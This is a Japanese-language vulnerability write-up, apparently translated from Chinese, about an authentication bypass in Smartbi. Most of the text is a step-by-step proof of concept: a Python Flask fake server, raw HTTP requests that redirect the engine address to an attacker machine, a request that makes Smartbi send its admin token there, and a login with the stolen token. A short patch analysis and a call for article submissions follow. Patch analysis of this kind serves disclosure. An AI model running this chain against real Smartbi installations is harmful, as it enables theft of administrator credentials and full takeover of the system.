少し前に、Smartbi は許可バイパスの脆弱性を正式に修正しました。不正な攻撃者がこの脆弱性を悪用して管理者トークンを取得し、管理者権限を完全に乗っ取る可能性があります。そこで、関連するパッチを調べて分析しました。
0x01の解析結果
パッチ解析により、以下の脆弱性再現手順が得られます。
最初のステップは、EngineAddress を攻撃者のマシン上の http サービス アドレスとして設定することです。
まず、Python フラスコを使用して偽のサーバーを構築します。そのサーバーには /api/v1/configs/engine/smartbitoken インターフェイスのみが登録され、JSON 応答本文が返されます。
from flask import Flask,jsonify,request
app = Flask(__name__)
@app.route('/api/v1/configs/engine/smartbitoken',methods=["POST"])
def hello():
print(request.json)
return jsonify(hi="jello")
if __name__ == "__main__":
app.run(host="0.0.0.0",port=8000)
次の poc を使用して、EngineAddress を偽のサーバー アドレス http://10.52.32.43:8000 に設定します。
POST /smartbi/smartbix/api/monitor/setEngineAddress/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 23
http://10.52.32.43:8000
2 番目のステップは、smartbi をトリガーして、先ほど設定した EngineAddress にトークンを送信することです。
次のリクエストを送信します
POST /smartbi//smartbix/api/monitor/token/ HTTP/1.1
Host: 127.0.0.1:18080
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 10
experiment
関連するリクエストを送信すると、偽のサーバー上でトークンを含むリクエストが表示されます。
3 番目のステップは、上記で取得したトークンを使用してログインすることです。
POST /smartbi//smartbix/api/monitor/login/ HTTP/1.1
Host: 127.0.0.1:18080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
Content-Length: 47
admin_I8ac3b2d10189e80fe80fea750189ed0084f50082
true を返すと、ログインが成功し、Cookie が正当な資格情報であることを示します。
0x02解析処理
関連するパッチを読んでください。この脆弱性は /smartbix/api/monitor/setServiceAddress に関連していることがわかります。
RejectSmartbixSetAddress クラスのパッチ適用メソッドをさらに詳しく見てみると、それが Smartbix.datamining.service.MonitorService クラスの getToken メソッドに関連していることがわかります。このパッチは、smartbix.datamining.service に getToken メソッドがあるかどうかを示します。システム内の .MonitorService は、/smartbix/api/monitor/ setEngineAddress などの一連のインターフェイス リクエストをインターセプトします。
Smartbix.datamining.service.MonitorService クラスを分析すると、ヘッダー内の注釈から、このクラスの下のすべてのルートが認証なしでアクセスできることがわかります。
getToken メソッドに対応するルートの /token を見つけ、メソッド内でトークンを生成し、入力タイプ パラメーターが Experiment の場合にシステム構成で構成された ENGINE_ADDRESS にトークンを送信します。
これは、ENGINE_ADDRESS が制御可能である限り、パッチ パッケージのルート /smartbix/api/monitor/setServiceAddress から setEngineAddress メソッドまでの正当なトークンを取得できることを意味し、このメソッドが許可なしで ENGINE_ADDRESS を設定できることがわかります。
つまり、/smartbix/api/monitor/setServiceAddress インターフェイスを呼び出し、制御可能な偽のサーバーとして ENGINE_ADDRESS を設定するだけで、リクエスト メッセージからトークンを取得できます。(この場所を試した後、POST メソッドで要求された /api/v1/configs/engine/smartbitoken インターフェイスを偽のサーバーに実装する必要があることがわかり、応答コンテンツは json です) トークンを取得した後、次のことができます。 /smartbix/api/monitor /login メソッドを呼び出してログインします
0x03 その他の命令
上記は ENGINE_ADDRESS 設定の使用法のみを示しており、使用する SERVICE_ADDRESS を設定する手順は上記と同様です。
オリジナル原稿を募集します
オリジナルの技術記事を募集します。投稿を歓迎します
送信メール: [email protected]
記事の種類: ハッカーオタクのテクノロジー、情報セキュリティのホットスポット、セキュリティの調査と分析など。
審査を通過して出版されると200~800元の報酬が得られる。
射撃練習場は「原文を読む」をクリック